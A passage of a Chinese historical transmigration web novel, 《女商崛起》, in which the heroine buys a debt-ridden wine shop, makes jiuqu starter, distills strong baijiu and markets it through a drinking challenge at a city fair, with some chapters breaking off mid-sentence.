菜跟快上齐,傅知乔想让崔嬷嬷、德福坐下来一起吃,结果两人坚决不跟她坐在一起,崔嬷嬷和德福是纯纯的古代人,又在傅府里伺候了这么些年,尊卑理念刻进了骨子里,傅知乔一个纯纯的现代人,也不勉强,各吃各的吧。 吃饱歇了一会,傅知乔看到不远处的店铺围了好些人,还有吵闹声。 “走,我们去看看。” * 高家酒铺内。 “高海?高海给我滚出来!” “钱呢?赶紧给老子拿钱出来!” 六七个大汉气势汹汹走了进来,说着,为首的人伸手拿起柜台上的酒坛子狠狠砸向地面,身后的小弟也有样学样,砸了起来,顿时酒液撒了一地。 酒铺里买酒的人受到惊吓,纷纷跑了出去。 高老头见状大声呵斥,“你们是谁?再闹我就报官了!” 六七个高大的汉子往门口一站,个个凶神恶煞,压迫感满满,他们是赌坊里养的打手,专门替赌坊去讨要欠银两人,俗称,要债的。 “欠债还钱天经地义,就是天王老子来了我也不怕!”大汉们无所畏惧,能开赌坊自然是有关系有门道的,只要不闹出人命,赌坊的老板都能保下他们。 一般能开赌坊的,背后都有强大势力支持,普通百姓惹不起。 高老头心中一个咯噔,赶紧从柜台出来作了个揖,“各位爷是不是弄错了?小店并无未欠债。” “高海是不是你儿子?”一个络腮胡子的大汉问,“你儿子在我们长乐坊欠了四百两银子,快叫他出来把钱还上!”说着,大汉拿出一张欠条一掌拍向桌子。 高老婆子一听这数字脸都变了色,声音发颤,问:“欠了多少?” 高老头皱眉看着欠条,沉默不语。 在后院里的高海听到自家铺子被打砸的声音,他揭开门帘出来死死盯着眼前的人:“你胡说,我明明只欠八十两。” 为首的人冷笑一声,开口道:“八十两已经是上月的事情了,加上利息现在你欠我们四百两。” 利滚利,翻倍滚,这不就是利子钱么? 谁都知道利子钱沾染不得,要是沾上了就没有退路,很多人最后为了还债,把妻女都抵出去了。 高老头脑子嗡嗡作响,他做的是小本生意,四百两可不是一笔小数目,家里没有这么多钱,更何况他刚刚买了一批粮食准备酿酒,现在手里的现钱不足四十两了。 在外面的街坊也议论纷纷,高家夫妻都是老实人,他们在这条街卖酒好些年头了,住在附近的人都会来他这买酒,没想到他儿子高海会沾上赌,还输了四百两,这…… “高海,只要你现在把钱还了,咱们的账就一笔勾消。”大汉用力拍打了下柜台。 高老头恨铁不成钢,兜头就是一巴掌,骂道:“我上辈子造了什么孽,生出你这么一个不听话的儿子,你们把他带走吧,我就当从来没有生养过他!” “老头子,你……”高老婆子知道他说的是气话,但也不能接受这个事实,捏起拳头锤向高海,“你这个逆子,谁让你去赌的,啊?” 高海痛哭流涕,“娘,我错了。” 他是被同行的友人拉进去玩的,本来没想玩的,但架不住朋友的劝说,一开始小赌了两把都赢了,后面就越玩越大,结果把赢了钱全输了回去。他当时赌红了眼,只想着怎么回本,就借了赌坊里的钱,他清醒后就后悔了,但为时已晚,他已经在借条上签字画押了。 高海反应过来,“娘,是他们设局诈我。”说不定诱他去赌的人就是赌坊里的人。 “你住嘴!”高老头怕他再次激怒这些人。 大汉可不管那么多,一把揪住高海衣服将人提溜起来,给了重重一拳,“少跟老子废话,今儿个爷就告诉你,这四百两你们必须得还” 打了高海两拳头,他朝着高老头:“要是还不上我们就把高海卖去苦役,要钱还是要你儿子的命,自己选吧!” 他刚说完,后面的几个小弟就开始围过来拖住了高海。 高海结结实实挨了好几拳,痛得嗷嗷直叫唤,“别打了,别打了!爹,救我!” 高老婆子不舍儿子被打,身形一软瘫坐在地上,哭喊着:“不要打了,求求你们不要打了……” 高老头气急败坏,“我哪来的银子,银子都让你给输光了。” “我瞧你铺子还值两个钱,要是实在拿不出钱,就拿你这铺子和铺子里的东西抵债吧。” 高老头又气又怒,可他别无他法只好先赔笑道:“各位好汉,别生气,钱我一定会还给你的,只是一时半会我的确拿不出钱来,能不能再宽限几日?” 大汉沉思一下:“看你也是个老实人,就两天,两天之后要是拿不出钱,就收拾东西从这里滚出去!”他们走之前还 14. 卖酒 《女商崛起》全本免费阅读 “先带我看看你的铺子吧。”之所以想买下这铺子,傅知乔有自己考量。 高家酒铺的位置在十字街上,十字街都是前店后院的规模,高家酒铺也也不例外,前面的铺子是一个大开间,有一侧房可以作为库房。 出了后门走两步就是酿酒的作坊,大约百平米左右,作坊内有一口井,酿酒的水就是取自这里,再往后面走还有一小院可以住人,可谓是集买、卖、住为一体了。 青州的地价不算太贵,高家酒铺就在临街的位置,周围差不多的铺子大约价值两三四百两左右,高家酒铺略大些,铺子的整体格局很不错。 还有一个更重要的原因是,她看上的不止铺子,还有高家的人。 或者说,高老头的酿酒手艺。 高家一家人已经决定商量好要把铺子卖掉,知道傅知乔有可能是买主,高老头备好茶水点心,亲自给她斟茶倒水。 “我出五百两买下你的铺子,助你还债,但是你需要帮我做事。” 五百两?高老头有些意动,这笔钱他们还完赌债还有一百两剩余,可以拿着这一百两继续生活,或者另起炉灶都可以。 高老头有一点没明白,帮她做事是什么意思? “姑娘何意?” “铺子我可以买下,连同你也一起买下。” 傅知乔随即说了她的要求,她可以出钱帮他们还债,只不过买下高家酒铺的同时,高老头夫妻也要留在酒铺里帮她做事,并签下一份终身帮她做事的合约,终身保密并且不得透露给别人。 高老头听后强烈反对,“我是不会签卖身契的。”卖身为奴还有什么尊严可言,他高家几代人都是平民,世世代代酿酒为生,怎么能去给人当下人。 傅知乔无语,“不是卖身契,是合约书!你可以继续留在这里酿酒,我只是买你的劳作时间,不需要你做牛做马,当我的奴才。” 于是,她又给高老头解释了一遍合约书的作用。 如果高老头帮她酿酒的话,她势必会教给他一些新的酿酒知识,这个时代没有的酿酒方法,为了防止泄密,不签合约是不行的。 “等于你是我雇佣的工人,拿工钱的!是一个全完的自由人,只不过雇佣的时间很长,明白?” 这回高老头听懂了,“可我酿的是高家的酒,帮你酿酒的话就不是我高家的招牌了。” 这无疑是扔掉了自己招牌,高家酒铺的名声是他爷爷传下来的,高老头有些不情愿。 你有什么招牌?你高家酒很出名吗?你的酒卖得好的话,怎么穷到五百两银子都拿不出? 傅知乔简直要气笑了。 “你酿酒这么多年,可酿出什么名酒?” “未曾……” “俗话说,酒香不怕巷子深,你这铺子可深?” “不深……” “走出这青州,谁还知道这里有个高家酒铺?” “不知……” 高老头涨红了脸,他的酒大多是城内的人和附近街坊买的。 “那你这高家酒比其他家好在哪里?” 高老头:…… 高老头被傅知乔挖苦的面红耳赤,憋得一口气差点没上来。 一连串问题砸过来,高老头说不出话来了,他酿了大半辈子酒,一直觉得自家的酒味道不差的,现在被傅知乔一顿数落,才承认自家的酒确实是普普通通。 高老头是个自傲古板之人,他的酿酒手艺没问题,但在大魏像他一样的会酿酒很多,抱着祖传的酿酒方法从未想过改进,所以一直停滞不前。 高家的作坊里就他跟老婆子两个人,他们一直是按祖传工艺酿酒,酒铺的产量不算大,酿多了卖不出去,酿少了又不够卖,因此高老头每次酿酒的量都是计算好的,足够周围的街坊邻居购买饮用。 他卖酒二十多年,在这条街小有名气,日子也算得上富足。后来城里的酒坊渐渐多了起来,他这个小酒铺也不再是唯一的选择,生意从此一落千丈。 “如果你同意的话,你妻子也可继续留在这里帮工,我也会单独付她工钱。” 傅知乔补充道:“周老板不如好好考虑考虑,现在急需银两的人是你,我是无所谓的,可周老板你等得起吗?” 高老头舍不得卖掉铺子,但收债的那些人却是等不及了,且多拖一天就多了一天的利息。 傅知乔再次一击,高老头额头冒出冷汗来。 傅知乔见此也不逼他,“周老板同意的话,明日来陵水巷傅府找我。” 说完就领着崔嬷嬷和德福离开了。 回去的路上,崔嬷嬷表示不解,“姑娘,咱买那酒铺做甚?” 傅知乔神秘一笑:“到时候你就知道了。” 傅知乔走后,高家人在一起商量,傅知乔出的价格很公道,也没有趁机压他的价,不是个落井下石之人。 高老婆子觉得哪里还有这样的好事?债还了,他们还有近百两银子可以安一个新家,一家人可以继续留在这里酿酒,还有工钱拿。 高老婆子目中一道精光绽放,凑到高老头子耳边嘀咕:“老头子,这笔买卖咱们不亏。” 高老头心里盘算一番,咬咬牙,“行,卖吧!” 第二日,高老头就去找了傅知乔卖铺子。 高老头在府衙找了相熟的质人,交了契税,很快把铺子地契转手手续办妥。 铺子到手了,整修装饰的活计再次交给文江文山两兄弟负责,之前傅宅也修整过一次,他们已经熟悉了这里的工匠。 高老头拿着剩余的钱去找了新的住处。 傅知乔将高家酒铺重新装修,原先铺子里的桌椅、酒柜都太陈旧了,傅知乔向来精致惯了,高老头的装修审美完全达不到她的要求,只能全部拆掉重来。 桌椅板凳,该扔的扔,收拾完以后铺子里什么杂物都没有,放眼看去,一片空荡。 高老头走进来都惊了,看着铺子被拆的面部全非,直呼心痛,傅知乔在旁边凉凉补刀:“你心痛什么?铺子现在是我的了!” 高老头:…… 一口老血吐出来。 买完铺子后的傅知乔心中一阵轻松,她可以安心准备创业大计了。 余柔岚知道她买了间商铺准备开酒铺后震惊的说不出话,好半晌才找回自己的声音。 “你一个女孩家家的,怎么能出去抛头露面做生意?” 一个十指不沾阳春水的大小姐突然要经商,这不是开玩笑呢!生意是那么好做的吗? 一旁的崔嬷嬷也是满脸不赞同。 “娘,我们需要钱。”傅知乔也不多作解释。 生意她是一定要做的,任何人都阻止不了。 余柔岚看着女儿坚毅的脸庞,她欲言又止,最终还是放宽自己的底线:“阿乔,我们可以做胭脂生意、书画生意,开酒铺这事我心里没底。” “娘,你放心!我都计划 15. 制曲酿酒 《女商崛起》全本免费阅读 富贵人家有钱买清酒,而普通人只喝得起浊酒。 浊酒是人们用最古老的发酵法酿出来的酒,再加上过滤技术不成熟,酿出来的酒里含有一些酒醪和沉淀物,所以酒液呈现出浑浊状态。 浊酒里面所含的酒精含量低到不能再低,只能算得上是带点酒味的饮料。 而且,这种带有杂质的浊酒容很容易腐败变味,难以长时间保存,所以人们在喝酒时会煮一遍再喝,相等于多了个杀菌的步骤。 清酒则是经过过滤的酒,没有什么沉淀物,酒液相对清澈也更贵一些。 这一发现大大增强了傅知乔制酒卖酒的信心,和当下浑浊的浊酒相比,清澈、浓香的白酒无疑是琼浆玉液了。 会酒水的蒸馏提纯,就是她最大的杀器。 傅知乔有自信,白酒的出现对大魏酒业会有巨大的冲击。 分析完酒业类目的竞争对手,傅知乔对这里卖酒的方式也有了新的认知。 在大魏,一般的商人或酒户交纳一定的税款并接受官府管理的条件下,才能开始卖酒,没有经过特许是不允许从事酒业方面的经营的。 好在她买的是一个现成的酒铺,只需去官府那边登记下,换掉高老头的信息即可。· 处理好铺子的事,傅知乔终于可以专心准备的酿酒事了。 酿酒的第一步是制曲。 “曲为酒之母”,酒曲是酿酒发酵的关键,没有了它就酿不成酒了,制曲工艺的好坏直接影响了酒的质量和产量。 傅知乔找来高老头询问酒曲的事,高老头虽然为人固执死板,但酿酒还是有一手的。 听到傅知乔的问题,高老头有些诧异:“东家要自己做酒曲?” “怎么?你酿酒用的酒曲不是自己做的?”傅知乔有些疑惑,“难道你不会发酵酒曲的技术?” “制作酒曲并不难,我们自制的酒曲也不是酿不出酒,就是有些费事……” 高老头解释了一番,很多复杂的酒曲制作方子甚至已经失传,现如今流传下来的酒曲方子也都被当做秘方,根本不会外传。 品质上乘的酒曲发酵率更好,出酒率高,很大程度上能节省酿酒原料。 想要酿出好酒必须用好曲,而想要制作好的酒曲,原料需要数十种甚至上百种不等,将这些材料配比好,再经过多道工艺才能制作出来。 高老头的爹当年在酒坊给人做学徒时只学到酿酒的技法,当时的师傅尚未决定好是否让他做接班人,就在传授时留了一手,只给了他半张酒曲的方子,结果还没等到他通过考验,师傅就去世了。 他爹拿着这半张方子,尝试自己制作酒曲,多次试验发现效果不佳后就放弃了。 听完高老头的解释,傅知乔明白了。 制作酒曲并不是每次都能成功的,酒曲损耗率很大,普通百姓们承担不起,更何况大魏的粮食产量低下,百姓们刚刚达到温饱水平,填饱肚子已是不易,哪里还有多余的粮食拿来酿酒。 就算家里有条件酿酒的,也很难一次性买齐所有的制曲原料,只能一步步简化原料,简化后的酒曲酿酒效果远不如买来的,出酒率减少了一大半,久而久之,大家都选择直接购买酒曲来酿酒,而并非自己制作了。 再三考量之下,傅知乔还是坚持自己做酒曲。 按常理来说,“傅知乔”一个深闺大小姐应该是不会酿酒的,但是她会啊!为了防止余柔岚和崔嬷嬷起疑心,她找来一些书待在酒坊里潜心研究。 一边翻阅古籍,一边找高老头学习酿酒的技法,理论还是那套理论,但是酿酒的工具不一样,原本的知识都要打碎重新构建。 一切只能自己摸索。 傅知乔仔细研究了古籍上的的酒曲方子,结合高老头提供的资料,再加上自己曾经看到过的酒曲工艺,定了一个新的方子。 她把铺子后面的院子用做制曲的房间,亲自保管钥匙,严令其他人不得入内。 农历六月份是三伏天,温度高很适合制作酒曲。 在傅知乔的吩咐下,德福花了几天时间,分别从不同的药铺里收来了制作酒曲的原料。 万事俱备,可以开始制作酒曲了。 辣蓼草、土茯苓、兰香草、桂叶、艾草、金银藤等清洗干净晾干,舂碎后用清水浸泡一夜,浸泡之后的汁液用纱布过滤出来备用。 将大米磨成粉末状,放入泡好的汁液搅拌均匀,揉搓成合适大小的丸子,用量大的话就做成砖头形状,移到室内保温的地方发酵。 每一步,她都做的小心翼翼。 经过十二个时辰的发酵,傅知乔满怀期待的揭开盖布一看,结果大部分酒曲丸子已经变得黑乎乎了,只有几团是好的。 看着眼前发黑的酒曲,傅知乔皱着眉,到底是哪一步环节出了错? 她并不气馁,又找到高老头仔细询问了一遍,每一个细节都记录下来。 每天待在院子里潜心研究,仔细复盘了制作步骤,容器消毒、材料、搅拌,傅知乔亲力亲为,忙的满头大汗。 重新将材料用量配比成好几份,在高老头的帮助下又制作出多批酒曲作为对照组,试验几次下来才发现是温度的问题,盖布太严实了不透气,过高的温度会使微生物失去活性,导致发酵失败。 在损耗了不少原材料后,傅知乔终于掌握到酒曲发酵成功的方法。 酒曲只有在合适的温湿度环境中才能发酵成功,酒曲表面长出白色的绒毛时意味着酒曲发酵好了,如果酒曲表面发黑、发臭,都代表发酵失败。 发酵好的酒曲表面的菌丝细腻松软、洁白如霜,再拿到太阳底下晾晒,等到晾干以后就可以好好存储起来了。 高老头心里是不怎么相信她能做出酒曲的,前几次的失败他都看在眼里,好心劝慰她也不听,看到傅知乔认真的样子后,他叹了口气,算了,随她去吧。 高老头无法阻拦只能照做,在面对傅知乔提问时时也尽力解答,心想就当是陪着东家玩,反正钱都是她出的。 直到傅知乔拿出发酵好的酒曲,他才相信,原来她不是玩玩而已了,她是真懂啊! 酒曲的制作需要一个月左右,有了成功的例子,再大量制作也方便很多。 搅拌好的曲胚放入曲箱内压实成块状,抱来一捆捆稻草盖住酒曲,以便保持温度与湿度,利于微生物发酵。 在酒曲发酵的这段时间里,傅知乔顺便研究了高 16. 喝酒挑战赛 《女商崛起》全本免费阅读 高老头双手捧杯,小抿了一口酒,“咳咳……” “这,这……”高老头瞬间就被呛出眼泪,整个人激动的说不出话来。 酒液醇厚辣喉,上一秒清香爽口,下一秒辛辣浓烈的酒气涌上来,让人猝不及防,入喉后嘴里的酒味略带苦味,层次十分丰富。 看似如水,喝下去却如同火烧,他活了大半辈子从未喝过如此浓烈的酒,也未见过如此酿酒的方式。 “别激动,这只是初步试验,这就只能算半成品罢了,以后还有更好的。” 还有更好的……那会是什么味道…… 寻常的酒水蒸一遍就有这般化腐朽为神奇的力量? 高老头心里却五味杂陈,立即向傅知乔鞠躬作揖,虽然他尚未弄明白傅知乔的来头,但小小年纪却拥有如此高超的酿酒技法,或许只能用天赋二字来形容了。 他彻底服了。 “是我有眼不识泰山,没想到东家年纪小小,却有如此能耐。” 傅知乔低调的摆摆手,这还不算什么好酒,刚蒸馏出来的酒还未曾经过窖藏,刺激性大,辣口,酒的风味会大打折扣。 要想做出好酒,酿造期间就需经历多次蒸煮、发酵,步骤十分繁杂,更别说后面窖藏期了,长达数年之久才能拿出来卖。 蒸馏酒经过窖藏后又是一番滋味,窖藏可以让酒里的杂味挥发掉一些,让口感变得更加醇厚,到时候才能算得上真正的好酒。 她这次只是小试牛刀,但对于只喝过浊酒的大魏百姓来说已经足够了。 蒸馏出酒已经成功了一大半,若是这酒没问题就能大量投产了,接下来的步骤就要交给时间。 高老头目光灼灼,“敢问东家,这酒唤作何名?” “太白酒!” “太白酒?太白酒?好好好!”高老头连说了三个好,神情如痴如醉。 傅知乔微微一笑,哎了两声唤回他的神智,“太白酒可不像一般的浊酒,醉人的很,浅尝一下行了,接下来还需盯着灶台呢。” 叮嘱高老头随时注意大锅的里水,一旦水变热,就要及时倒掉换成凉水,为蒸酒创造一个良好的冷凝环境。 “酿制方法已经教给你了,你多多观察慢慢就会熟悉了,粮食不够就告诉德福,酿酒时切记勿让他人靠近,有什么问题直接来傅府找我。” 高老头听后面露欣喜之色。 在大魏,想要学会一门手艺是一件非常不容易的事情。 无论你是学书法学刺绣、或是学厨子学木匠都必须需要经历拜师学艺,给人当学徒这一步。而想要拜师学艺也不是那么容易的,师傅们选弟子要看天赋、看眼缘,所以每一门手艺都是不外传的秘密。 而现在,傅知乔就这么把自家的技法教给了他,高老头感动的要流出泪来了,再次深深地向傅知乔揖一礼:“是,我一定好好做,东家放心!” 酒炼出来了,傅知乔心里的大石总算是落地了,接下来是要加大产量,争取囤上一批酒,才能赶在年底前将酒铺开业。 高老头每天守着三个灶台同时蒸酒,因为蒸馏时不让外人进入,高老婆子就在酒坊里蒸米拌曲,把冰凉的井水打进水缸里备用。 高海之前是在铺子里做事的,因为心性不稳没经受住诱惑跑去赌博,傅知乔对他不放心,干脆就让他待在酒坊里晾粮,这可是个体力活,把蒸熟后热气腾腾的大米均匀铺撒在晾堂上,整个过程又累又热,是个极为辛苦的活计。 高老头对此倒是没有半点意见,傅知乔对他们一家有再造之恩,自己不能不识好歹。 效率不够,数量来凑。 三个大灶台同时进行,蒸馏的速度变快,之前的几百斤粮食也很快用完,高老头又去定了两千斤粮食。 粮食店店主与高老头都是一条街上的街坊,对高老头被逼债的事也非常清楚,现在见他又开始出来买粮酿酒,知道他难关已过,问他是怎么解决那一大笔债务的。 高老头笑笑,统一对外表示,自己是得了远房亲戚的支持,在她的帮助之下重开了酒铺,希望大家到时来捧场。 日子一天天过去,高家人三口人都在酒坊里忙碌着。 因为酿酒设施有限,最终只做出三千斤的太白酒。 黄泥封坛,将所有的酒都放进酒窖里储存,酒铺里原来的酒窖很小,装不下这么多酒,只好把部分太白酒放在酒铺的后院里储存。 一个月时间很快过去,傅知乔也迎来了一个重要的机会。 青州城一年一次的大集就要开始了。 这个时代的人们大多依靠马车、牛车出行,交通工具不发达,货币流通也不是很成熟。好在青州的水陆交通相对便利,周边城镇百姓们可以聚在这里以物易物、以物卖钱,久而久之就形成了“集市”。 青州的小集每月都有,小集是本城居民的买卖场所,而大集一年一开,一开十天,周围城镇的、外地的商人和均会到此,商人们南北运货做生意,百姓们挑些自家山货卖钱,或者在城门口支个茶水摊子也能赚上不少钱。 早在一月前,城里的客栈就被订满了。 青州官府对大集控制管理很严格,外来的商人农户需登记交租,才能在此售卖商品。在大集期内,城内设了专职的门吏监督,还有专门管治安的官吏在此巡逻。 又定了几口蒸锅,傅知乔吩咐高老头加大力度投入生产。她早就盘算好了,她要趁着这次大集,打响太白酒的名号! * 很快就到了大集这天,青州的城门大开,闸口处人来人往,显得格外热闹。 以往空旷的御道也搭建好了一个个棚子,贵重如珠宝玉器,普通如农家的野菜、山货,甚至是马匹、铁器、丫鬟小厮在这里都能买到。 同类商品集中在一起,称做“列肆”。 傅知乔在“列肆”中租了一个摊位,桌子上只放了一坛酒和一个白瓷碗,这简陋的展示方法,让高老头十分不解。 傅知乔借着高老头的名义把酒铺重装修开张,还将原来的高家酒铺改名为太白酒铺,但对外的说法是太白酒铺是高老头与亲戚一起合开,所以高老头这个名义上的老板还需要出面。 “东家,我们为何不将酒坛都摆出来?”高老头很是不解,大家都是把自家产品堆起来的吸引人的,再说了,一坛坛酒摆出来多吸睛、多好看啊! 傅知乔笑笑不语,拿起酒坛往白瓷碗内倒满了酒,清澈如水的酒液与隔壁摊子上浑浊的米酒形成鲜明对比。 集市上人多眼杂,傅知乔拿出贴好字的木板 17. 再遇谢卓 《女商崛起》全本免费阅读 德福立即从食盒里拿出一碟茴香豆放在他桌上,傅知乔做了个请的手势,示意张屠夫继续。 有了下酒菜的辅助,张屠夫喝起酒来更加惬意,一口酒一口花生米,一碗太白酒很快下肚了。 “得劲!”张屠夫闭目发出陶醉之声,喝太白酒的第一感受是辛、辣、烈,苦涩感过后,能感觉到清香味在扩散,喝下去后肚子里有淡淡的烧灼感。 见张屠夫把酒喝完,站在傅知乔身后的银杏拿出一个沙漏,放在桌子上计时。 看见真的有人挑战,围观的人也越来越多,有些人觉得傅知乔是骗人的,但还是忍不住过来凑个热闹。 渐渐地,酒劲上来,张屠夫的脸色也通红起来,身体发热,不自觉地打起了酒嗝,吐出来的气息都是浓浓的酒气。 能不醉吗? 经过蒸馏后的太白酒度数可达三十至四十度左右,这批太白酒她特地控制了蒸馏的次数,至少有四十度左右。一个白瓷碗的能装七八两重的酒,太白酒度数高、后劲大,从未喝过烈酒的人很难抗的住。 大魏没有酒精度数这种概念,他们只知道刺激的就是好酒、烈酒! 高老头看面红耳赤的张屠夫也露出了笑容,这场挑战赛他们赢定了。 半个时辰过去,围观的人依旧没有散去,而张屠夫已经有些晕晕乎乎了。 “时间到,挑战开始!”德福将张屠夫扶到起点线上,挑战赛开始之前他就沿着地砖的缝隙铺好了两条麻绳,张屠夫只要顺着麻绳中间走过去就算成功。 “好,我来挑战!”张屠夫努力支起身子。 众人也给张屠夫让出了一条路,只见他摇摇晃晃的走出两步,第三步已经踏歪。 围观的人也替他着急起来。 “歪了!歪了!往左一些!” “哎呀!走偏了!” 张屠夫能听见声音,但他的身体已经不受控制,勉强稳住身子继续的走着,又歪歪扭扭走出两步,然后“嘭”的一声摔在地上。 有人赶忙上前拍了拍张屠夫的脸,确认他是醉了。 围观的人心里一惊,“这酒当真如此猛烈?” 德福端来醒酒汤,让人喂张屠夫喝下去,然后将他扶到一旁休息。 众人见张屠夫挑战失败,全都遗憾的摇了摇头。 有了张屠夫的前车之鉴,一时间竟无人敢来挑战,见此情形,围观的人情绪更加热烈了,纷纷围着高老头问这是什么酒。 酒摊的人气十分火爆,其他路过的人也被这边的热闹吸引,也挤进来看一眼。 “不是吧?一碗就喝倒了?” “是啊,张屠夫出了名的能喝,就这么醉了?” “我哪知道啊,我这也刚来呢!” “店家是不是在做戏唬我们?”周围有人提出异议,也有人跟着帮腔,怀疑傅知乔联合张屠夫一起做戏。 傅知乔也不辩解,只是让银杏取来几个小酒盅放在桌子上,随机抽取了几位怀疑她做戏的路人,依次倒满白酒递给他们喝。 喝完酒,那些怀疑她作假的声音顿时消失了。 很快,大集上有家酒铺,一碗酒能喝倒一个壮汉消息传播开来,来看热闹的人越来越多,人里三层外三层把酒摊围了起来。 人人都想挤在前面看,摊位越来越热闹,高老头满脸笑容,扯着嗓子让大家别挤。 见越来越多的人聚集过来,这么好的宣传机会她自然是不能错过,傅知乔让德福端着太白酒在人群走了一圈,让前排的人都能看看酒液、闻闻酒香。 中途还有两位自认为酒量很好的人出来挑战,结果均无例外的失败了。 谢卓站在人群中,目光一直看着德福手里的酒。 这般清澈的酒液,饶是他也前所未见。 “公子,这酒闻起来很是辛辣,不知道喝起来味道如何,不如我去试试?”见自家公子对这酒感兴趣,王骞信自告奋勇上去挑战。 王骞信是个好酒之人,而且酒量极为了得。 谢卓点点头,正当他准备收回目光时看到了站在摊子左侧的傅知乔,即便穿着男装,他还是一眼就认出她就是那日在茶馆里的那个女子。 算起来,今天已经是他们三次见面了。 谢卓也说不清,自己为什么会在一群人中第一眼就注意到她,也说不清自己为什么会记得这么清楚,今天是他们第三次遇见了。 此时的傅知乔穿着有些宽松的男装,眉毛特意描粗了些,脸上未施脂粉,因着年纪不大的缘故,少年装扮让她看上去有种雌雄莫辩的美感。 意识到自己已经盯着她看了好一会了,谢卓眸光微闪,有些不自然的移开了视线。 正巧德福端着酒杯走了过来,谢卓顺势从托盘中端起一杯酒,在鼻尖晃了晃,浓郁的酒香渐渐散开来,果然是好酒。 似乎感应到了什么,傅知乔转头看向谢卓。 是他! 两人目光短暂接触,傅知乔认出了谢卓,他就是上次帮助自己打跑富家少爷的那位勇士。 傅知乔并不知道自己已经被谢卓看穿,她走了过来,看着谢卓,故意粗着嗓子问道:“公子要来挑战?” “是我,我来挑战!”王骞信站在两人边上,感觉气氛有些怪怪的,出声打破这怪异的气氛。 傅知乔看向站在谢卓身旁的汉子。 王骞信的长相看起来明显要比谢卓要年长不少,他常年习武,拥有不同于常人的的健硕身材,光是站在那里就有几分迫人的气势。 谢卓言简意赅,“他酒量很好。” 有了张屠夫的前车之鉴,百姓们对于这个挑战赛有几分犹豫,大多数人只在旁边看着并未来挑战,听到还有人要参加立刻起哄。 德福取出一个新碗,随即帮王骞信倒满太白酒。 傅知乔做了个请的手势,王骞信深深吸了口酒香,一仰头就把碗中的酒喝了一小半。 强烈的酒味刺激着他的神经,王骞信咂咂嘴,这酒比他想象的还要够味,酒香浓郁酒味醇厚,缓了缓后他继续喝完了剩余的酒,打了个大大的酒嗝。 “哈哈哈……好酒!” 一碗太白酒下肚的王骞信站在原地,闭着眼睛没有说话,似是在回味一般。 傅知乔不放心上前问道:“这位壮士,你没事吧?” “痛快,太痛快了!”一碗酒下肚竟然有种轻飘飘的感觉,王骞信有些意犹未尽。 银杏再次拿出沙漏计时。 另一边,在王骞信挑战的时候,傅知乔和谢卓有一搭没一搭的聊着天。 交谈中,两人知道了彼此的姓名。 “你什么时候认出我来的?”傅知乔自认为她的装扮没什么问题,谢卓才见过她几次,她的男装打扮就这么容易识破了? 在看到你的第一眼时候 18. 大订单 《女商崛起》全本免费阅读 大集上喝酒挑战一事比傅知乔预想的还要成功,她只摆了五天摊就撤了。 青州出了一种新酒,酒液像清水一样清澈,酒劲十分猛烈,一碗就能喝倒一个壮汉的名声也在百姓间传播起来。很快就有人找到了高老头说要跟他买酒,有商人也有百姓,其中大部分人都是猎奇心态。 彭高飞也是其中之一。 彭高飞是来自京城的商人,此行他是送完货回京城,路过青州时正巧赶上了这里的大集市,听说大集上有各地客商过来选货售卖,他就想来来凑个热闹,没想到意外的发现的一种新奇的酒。 这热闹果然没有白凑,他走南闯北这么多年也未曾见过如此特殊的酒。 如此新鲜的东西,要是把它卖到京城,那些达官贵人们……出于商人敏锐的嗅觉,他立刻找到高老头说要买些酒带走。 高老头回复:“这位客官,咋们酒铺十一月开张。”言下之意就是现在没有酒卖。 彭高飞眉头一皱,他还需要将货物要送往京城,并不能在此地耽搁。 买不到酒,众人都很失望。 一开始有生意上门,高老头心里狂喜,结果傅知乔说酒还没到时间暂时不能卖,他满腔热情瞬间被浇灭。 后来问的人多了,高老头也麻木了,只要有人跟他买酒就统一表示:想买酒等店铺开张再来。 不是傅知乔不想卖,实在时间不够,蒸馏酒的窖藏时间比较长,一时半会无法开卖。 刚蒸馏好的酒液中含有很多杂质,需要存放在酒缸中窖藏熟化,让酒液变得变得细腻清透,让口感更加柔和醇厚, 对于喝惯了浊酒的大魏百姓来说,猛然要他们接受浓烈辣口的白酒,大多人都是无法接受的,这不符合他们的口味。 新鲜感是一时的,要想让他们日常也买太白酒喝,必须一次性将品质做到位! 窖藏可以让酒的辣感退去变得醇香,这批酒三个月的窖藏时间已经很短了,只是她着急把酒铺开张,不然肯定要窖藏一年才拿出来卖。 有钱能使鬼推磨,只要肯花钱,不信买不到酒! 彭高飞十分豪气:“掌柜的,我买四百坛酒,你开个价吧?” 一次买四百坛?一坛酒重四斤,四百坛近两千斤酒! 高老头满脸都是掩饰不住的兴奋,这可是笔大生意,但他们总共才酿了三千多斤酒,不够卖啊。 这……高老头拿不定主意,让彭高飞稍等片刻,自己去请示傅知乔。 彭高飞见状暗自得意,果然,这世上就没有钱办不成的事! 此时的傅知乔正在小院里盘价格,酿酒需要大量的粮食,粮价八文一斤,通常三四斤粮食才能出一斤酒,太白酒还需要经过多次蒸馏提纯,所以这个数据还要再减少一些,估计要四五斤粮食才能出一斤太白酒。 一坛酒四斤重,经过仔细盘算,傅知乔把太白酒的价格定在十两银子。 傅知乔记得李白诗有里提到“金樽清酒斗十千。”一千文等于一两银子,清酒都卖十千了,她这蒸馏酒也卖十两银子,不过分吧! 听完高老头的汇报,傅知乔出来见了彭高飞一面。 彭高飞见高老头跟在一个姑娘身后,这才意识到傅知乔才是那个做主的人。 高老头介绍傅知乔的身份,彭高飞内心惊诧却面色如常,对着矮了他一头的小姑娘抖袖拱手道:“傅老板安好!鄙人姓彭,名高飞,来自京城彭家……” 傅知乔暗地里打量他,不愧是见多识广的生意人,沉得住气,一般人看到她才是老板,惊讶的下吧都合不拢了。 彭高飞表明自己买酒的意愿,又说他在京城做生意,名下有多个商铺贩,有一支两三百人商队在各地贩卖物产。 彭高飞并不是一个普通的行脚商,他还在大魏边关与其他国家做生意赚钱,比如西域的常见的香料,从边关运到大魏就显得十分珍贵了,可以卖上几十倍甚至上百倍的价钱。 商队一来一回,两边倒卖,走一趟就能获取丰厚的利润。 两百多人,是一支规模很大的商队了,而且他南来北往生意渠道多,简直是一个免费的物流运输通道,把酒卖给他相当于把酒卖向了各地。 这确实是个大生意。 傅知乔在进来之前,心中就已盘算好,这笔生意她一定要拿下。 伙计取来一个酒壶,在彭高飞面前倒了一杯酒,酒香瞬间充斥整个房间,傅知乔做了个请的手势示意他品尝。 彭高飞迫不及待地走到桌边,看见酒后更是难掩激动之情,白玉杯里盛满了酒液,酒液纯净透明、香气醇馥。 他拿起酒杯移到鼻端下方,酒液在杯中轻微地晃动着,荡漾出一层层的微波,伴随着浓郁的就像好似要把人吸进旋涡中去。 